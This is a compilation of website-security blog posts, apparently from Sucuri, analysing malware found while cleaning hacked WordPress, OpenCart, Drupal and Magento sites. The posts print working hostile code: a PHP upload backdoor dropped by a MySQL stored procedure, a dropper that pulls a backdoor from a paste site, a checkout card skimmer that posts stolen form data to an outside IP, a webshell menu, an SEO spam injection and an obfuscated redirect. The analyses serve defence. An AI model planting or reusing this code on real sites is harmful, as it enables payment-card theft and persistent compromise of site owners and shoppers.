Leveraging Stored Procedures for Nefarious Purposes

Here at Sucuri, we clean thousands of websites on a daily basis, and while some of them are easy to solve, others may require more investigation in order to find the root cause.

We’re used to seeing different causes of reinfections on web sites, which can be grouped into the following types:

        1 - Reuse of passwords: This scenario occurs when credentials are leaked after a site compromise. Attackers often leverage these leaked passwords to access other systems which may be using the same password.
        2 - Site vulnerabilities: Outdated and vulnerable software are a common cause of malware infections. It is important to keep plugins, themes, and CMS’ up-to-date at all times.
        3 - Shared server infections:. This scenario occurs when multiple websites are stored on the same server or FTP account and a compromise (or infection) occurs. If one website is infected, it’s very easy for the infection to spread to every website on the server.
        4 - A backdoor is still present in your site: Even if you’ve removed any visible malware, you might still have hidden backdoors that attackers can use to compromise and reinfect your site.

Technical Details

A website reinfection was occurring after a a file was repeatedly being added to WordPress core: “wp-includes/class-wp-change.php”

We made sure that all passwords were changed and not reused, reviewed users, checked all files, and ensured the environment wasn't prone to cross-contamination. Only one thing was left to check: the database.

We came across the following data inside of a table called "foo":

"<?php if(isset($_GET['good'])){if(isset($_FILES['im'])){$dim=getcwd().'/';$im=$_FILES['im'];
@move_uploaded_file($im['tmp_name'], $dim.$im['name']);
echo\"Done: \".$dim.$im['name'];}else{?><form method=\"POST\" enctype=\"multipart/form-data\"><
input type=\"file\" name=\"im\"/><input type=\"Submit\"/></form><?php }} ?>"

As you can see, it's a PHP code which loads a form that uploads a file into the server. But how is it loaded? Since we know that foo is not part of the WordPress database structure, how is it being called?

After checking the database a little deeper, we learned that the code was part of a mysql stored procedure that had been created during the site compromise, allowing attackers to maintain access to the environment.

Once executed, the stored procedure creates the table called “foo” with the malicious code. It then dumps the content into the file ‘wp-includes/class-wp-change.php’.

BEGIN
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
INSERT INTO `foo` VALUES ("<?php if(isset($_GET['good']))et($_FILES['im'])){$dim=getcwd().'/';
$im=$_FILES['im'];@move_uploaded_file($im['tmp_name'], $dim.$im['name']);echo\"Done: $dim.$im['name'];}else{?><
form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"im\"/><
input e=\"Submit\"/></form><?php }} ?>");
SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE 
'/home/user/public_html/.website.wp-includes/class-wp-change.php';
DROP TABLE IF EXISTS `foo`;
END

Conclusion

Since it’s not a very popular feature, stored procedures can easily be overlooked by untrained professionals or inexperienced website owner. Investigating the root causes of an infection and going deeper to solve our clients problems is part of our job. If you need any assistance, please don't hesitate to find us.

Backdoor using paste site to host payload

Over the last months, we’ve been talking a lot about new ways to decode complex malwares that involve the usual PHP functions like eval, create_function, preg_replace, assert, base64_decode, etc.


According to our latest reports “Backdoors are found in 72% of infected websites”, although we have hundreds of posts on backdoors and their effects,  today I want to discuss a few techniques that doesn't follow any obfuscation tricks like encrypted strings, concatenations, and typecasting. These unusual backdoors often look like legitimate code and can go unnoticed for most of the malware scanners available in the market.

During an incident response investigation, I detected an interesting backdoor that was small, simple and effective.

The backdoor content was uploaded the wp-content/themes/buildup/db.php file and looked like this:

<?phpif ( @copy('hxxps://paste[.]ee/r/3TwsC/0', 'db.php') ) {echo "Copy_success";}else{echo "Copy_failed";}?>

This small piece of code downloads the full malware from the hxxps://paste[.].ee  website (if you are not familiar with this site, it's like a Pastebin with SSL and less controls).

The downloaded code was obfuscated with a free tool, which is pretty common for malware developers, but we see good code using it too (note to devs, avoid using those free tools, they may be saving your code).

And here's the more "readable" code:

And, as you may see, we got ourselves a nice copy of FilesMan backdoor being downloaded by a file that may be overlooked by an untrained person.

In order to prevent the website from getting infected, we highly recommend implementing security measures like file integrity monitoring and a website application firewall. It is advisable to constantly monitor your logs for unexpected behavior.

Attackers leveraging WP Maintenance plugin to deface websites

Recently, during a website investigation, we detected that attackers have been modifying the database structure of WP Maintenance plugin (which is a very popular wordpress plugin which adds a "down for maintenance" or coming soon page for your website) and inserting malicious code into wpmm_settings option to lead users to the harmful content.

The malware would change the plugin's database values to the defacement page like it follows:

The background:

"bg_custom";s:67:"https://www.website.com/wp-content/uploads/2017/07/anonymous.jpg";

And the message :

s:4:"text";
s:538:"<h2 class="pi-item pi-item-spacing pi-title">“When you’re stuck in a foreign country and don’t know the words for “reverse charges”
and you’re in some lonely skin joint in the middle of some poor slum and just had every last cent robbed from you and you call yourself a bodyguard then you know you’re a loser.\"</h2>
<p style="text-align: left"> </p>

Now, in order to "deface" the website, the attacker would only need to enable the maintenance page. No files were rewritten and inexperienced website owners may have some trouble figuring out what happened and how to fix.

It is worth to mention that the plugin is NOT vulnerable, the attackers were leveraging valid plugin functions instead of replacing the index.php file as usual.

The rendered code will result into something like this:

As website owners, we have to make sure our visitors have the best experience possible and won’t be at risk when accessing your website.

If you detected any unusual code or suspect of any unexpected behavior, we are here to help you get your website back on track.

Session Stealer Script on OpenCart CMS

With so many open-source ecommerce platforms available in the market, creating an online shop is as easy as ABC. In less than five minutes you can set up your very own online storefront and offer physical and digital products for sale.

In this note I will present a malware infection on OpenCart, a powerful e-commerce shopping cart that provides great tools with minimal investment. Although its platform is simple to install and use, it doesn’t mean that you are protected against different kinds of malicious codes focused on intercepting and stealing sensitive data from your customers (credit card).


This time around, the malware we found worked as a session stealer in a way that attackers could get access to valid sessions of the checkout page and intercept sensitive credit card information. It is worth mentioning that this code is not specifically designed for OpenCart; there are different variations of this malicious script also being used in Magento websites as well.

Going deeper into the analysis itself, the first call to the malicious function had been done at ‘catalog/view/javascript/jquery/jquery-2.1.1.min.js’:

function send() {
var btn=document.querySelectorAll("button, input, submit, .btn, .button");
for (var i=0;i<btn.length;i++) {
var b=btn[i];
if(b.type!='txt' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
if(b.addEventListener) {
b.addEventListener("click", clk, false);
} else {
b.attachEvent('onclick', clk);
}
}
}
var frm=document.querySelectorAll("form");
for (var i=0;i<frm.length;i++){
if(frm[i].addEventListener) {
frm[i].addEventListener("submit", clk, false);
}else {
frm[i].attachEvent('onsubmit', clk);
}
}
if(snd!=null) {
console.clear();
var gc = new RegExp("[0-9]{13,16}");
var cl="0";
if(gc.test(snd)) {
cl="1" ;

var http = new XMLHttpRequest();
http.open("POST","/system/startup.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+snd+"&cl="+cl);
console.clear();
}

The file “jquery-2.1.1.min.js” had been completely modified and if you notice at the functions ‘send()’ and ‘clk()’, they were injected there to intercept button clicks and form submits (user interaction). This hijack allows the attackers to collect the names and content of every common form input element and send all the information via a $_POST request through the “startup.php” file.

Although "startup.php" is a default OpenCart file, this file had also been compromised and here is a snippet of it:

<?php
error_reporting(0);
$id=base64_encode('runrhody');
$url='hxxp://200.x.x.x/404/receiver.php';
if(!isset($_COOKIE["SESSIID"])){
$rand=rand(1,9999999999);
setcookie("SESSIID", $rand,time()+3600);
}else $cookie=$_COOKIE["SESSIID"];
$url=$url.'?a='.$cookie;
$data=base64_encode(serialize(array('request'=>$_REQUEST,'ip'=>$_SERVER['REMOTE_ADDR'],'ua'=>$_SERVER['HTTP_USER_AGENT'],'cookie'=>$cookie,'date_unix'=>time())));
$opts = array('http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(array('utms'=>$id,'utmc'=>$_REQUEST['cl'],'data'=>$data))));
$context = stream_context_create($opts);
file_get_contents($url, false, $context);
?>
<?php
// Error Reporting
error_reporting(E_ALL);

The code receives the stolen information from the jquery mentioned above and sends all the data to the attacker’s URL defined in the variable $url.

Is there a solution to avoid these thefts? Sure there is! Merchants need to understand that they are responsible for the processed data and should do everything they can to secure their environment. The answer to this is hidden behind PCI Compliance. 10, our Founder / CTO, released a nice intro to ecommerce and PCI Compliance post recently that you should definitely read if your website/business relies on an e-commerce platform.

If you run OpenCart or any other platform, we recommend checking out our Sucuri Firewall to protect your site from attacks and compromises.

Drupal Database WebShell

Some people are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but it's a powerful CMS none the less. Compared to the way WordPress is structured, Drupal is a big monster! There are lots of included files, modules, and of course… a lot of places for malware to hide.


During the cleanup process, we usually find different types of malware, backdoors and redirects that show the variety of ways a hacked website can be used. Recently we cleaned a Drupal website that had a malicious webshell being called from the database.

We checked the log files of this website and found something really suspicious in there

164.x.x.x - - [22/Aug/2016:00:27:36 -0400] "GET /catalog/low-housing?y=/boot/grub/&view=/boot/grub/gcry_camellia.mod HTTP/1.1" 200 30078 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)" "PROXYBLOCKID:" "CACHEP:MISS" "POSTLOG:-"
31.x.x.x - - [22/Aug/2016:00:27:37 -0400] "GET /catalog/low-housing?y=%2Fboot%2Fgrub%2F&view=%2Fboot%2Fgrub%2Fgcry_camellia.mod HTTP/1.1" 200 30081 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "PROXYBLOCKID:" "CACHEP:MISS" "POSTLOG:-"

All the requests above, like ?y=/lib or ?y=/boot/grub are options built into the webshell being called by the attacker, here is another example:

hxxp://www.infectedwebsite.org/catalog/low-housing?y=/tmp/&x=configs
hxxp://www.infectedwebsite.org/catalog/low-housing?y=/tmp/&x=zone-h

We continued with a more thorough research process and we found the malicious code inside of the Drupal Database. The code was injected into the legitimate site pages when they were requested by the attacker.

A quick check in the code revealed the method which has been used by the attacker to call the functions he wanted to.

<div id="menu"><ul class="menu"><a href="?<?php echo "y=".$pwd;?>">Files</a><a href="?<?php echo "y=".$pwd;?>&amp;x=shell">Shell</a><a href="?<?php echo "y=".$pwd;?>&amp;x=upload">upload</a><li><a>Sym</a><ul><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sf">Symlink File</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sec">Symlink server</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=configs">Get configs</a></li></ul></li><a href="?<?php echo "y=".$pwd;?>&amp;x=php">Eval</a><a href="?<?php echo "y=".$pwd;?&gt;&amp;x=back">Remote</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mysql">Sql</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mass">Mass</a><a href="?<?php echo "y=".$pwd;?>&amp;x=brute">Brute</a><a href="?<?php echo "y=".$pwd;?>&amp;x=phpinfo">PHP</a><a href="?<?php echo "y=".$pwd;?>&amp;x=zone-h">Zone-H</a><li><a>Joomla</a><ul><li><a 
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){?><form action="?y=<?php echo $pwd;?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90>

If you have a Web Application Firewall in place, this could be easily prevented and with a good backup, reverted without further damaging your online presence. We also recommend checking http and ftp logs to find the entry point and avoid that from happening again, changing passwords and using a File Integrity Monitor Tool are also a good prevention measures.

Why selling Windows keys in your blog is...

Sharing spam content and getting blacklisted is not a matter of choice when a website is hacked, these are just some of the consequences when attackers compromise a blog/website and that is why it is so important to have security measures/policies in place to prevent such issues from happening.


An attacker can use a hacked website for various purposes, such as:

  • Node to DDoS attacks
  • Host phishing content
  • Steal sensitive information
  • SEO Spam and much more

Most of the time, website owners are unaware of such activities until they get a complaint from a user or a search engine (Blacklist Screen) which at that point it’s too late.

Recently our incident response team investigated a case where an infected website was redirecting users to non intended domains such as:

  • "windows7keyonsale.com/windows-8-c-9.html"
  • "allsoftwaredownload.com/windows-8-1-product-key-generator/"

Upon further analysis, we detected that one of the WordPress core files was changed and a malicious content was injected at the top of the file "wp-includes/template-loader.php"

<?php$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);    $mysite = "hxxp://www.infectedwebsite.com/";         $filename = "";   $fromsite = "hxxp://allsoftwaredownload.com/windows-8-1-product-key-generator/";  if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {    $ksite = !empty($_GET['win']) ? $_GET['win'] : "";   $list = array();    $listname = $filename . "?win="; $liststr = "<div style='text-align: center'>";  foreach ($list as $key => $val) {       if ($ksite == $key) {           $fromsite = $val;       }       $liststr .= "<a href='" .$mysite .  $filename . "?win=" . $key . "'>" . $key . "</a>&nbsp;&nbsp;";  }   $liststr .= "</div>";   $url = empty($_GET['key']) ? "" : $_GET['key'];  if(function_exists('curl_init')){$s = curl_init();curl_setopt($s,CURLOPT_URL,$fromsite . $url);curl_setopt($s,CURLOPT_RETURNTRANSFER,1);curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));$content = curl_exec($s);}else{$content=file_get_contents($fromsite . $url);}...

In addition to loading the content from the offending website (image below) and displaying it to the user, the injection also attempts to avoid detection from Search Engines in order to increase profitability.

This is another example where attackers modify core files from the CMS to perform malicious activities. If you have a file integrity monitoring in place and a backup, this could be easily avoided and reverted to a good state. It’s also important to double-check the logs and find the entry point to avoid that from happening again. Using a Web Application Firewall and changing passwords are good prevention measures.

Magento One Page checkout being injected by Malicious...

The checkout process is one of the most important steps for any e-commerce business. The user experience during this process will set the tone for the entire interaction and fortunately lead to a successful sale. Because of that fact, attackers have been targeting Magento installations in order to steal sensitive information (credit card data, paypal logins) and in this case, promote websites for their monetary gains.

During our malware investigation process, we found an interesting piece of code redirecting users during the checkout process to a page not intended by the website owner. After selecting the products and clicking on the “Proceed to checkout” the user was redirected to: hxxp://bestdealsweek[.]com

The malicious code was located inside "/js/varien/accordion.js" and here is the content (obfuscated):

var x="'%kVg'%YZaVn'%(9'%&%%(7%6'%'%hZiI^bZdji'-''YdXjbZci#adXVi^dc#]gZ[(9',]iie(6$$WZhiYZVahlZZ`#Xdb','''8'%YZaVn'.(7",y="",w="",z;z=x['length'];
for(i=0;i<z;i++){y+=String'fromCharCode' }w=this'unescape';this'eval';

This particular file in addition to "/skin/frontend/base/default/js/opcheckout.js" create a Javascript Layer responsible for submitting step data to the checkout controller and interpreting controller responses to update the content of the checkout steps. This layer allows the checkout process to be completed without the browser having to load every request in a new page.

This is how the accordion.js was injected into the One Page checkout:

<script type="text/javascript"src="hxxps://domain/js/varien/accordion.js"></script> 

After decoding it, we can see the redirect:

var delay = 100;setTimeout("document.localtion.href='hxxp://bestdealsweek.com'",delay);

This is one of the many injection techniques attackers have been using against Magento e-commerce sites to make a profit. To reduce the risks of such injections, we recommend keeping all software updated (themes, plugins, core files), using a Website Application Firewall, having a File Integrity Monitoring system to detect file modifications and taking regular backups.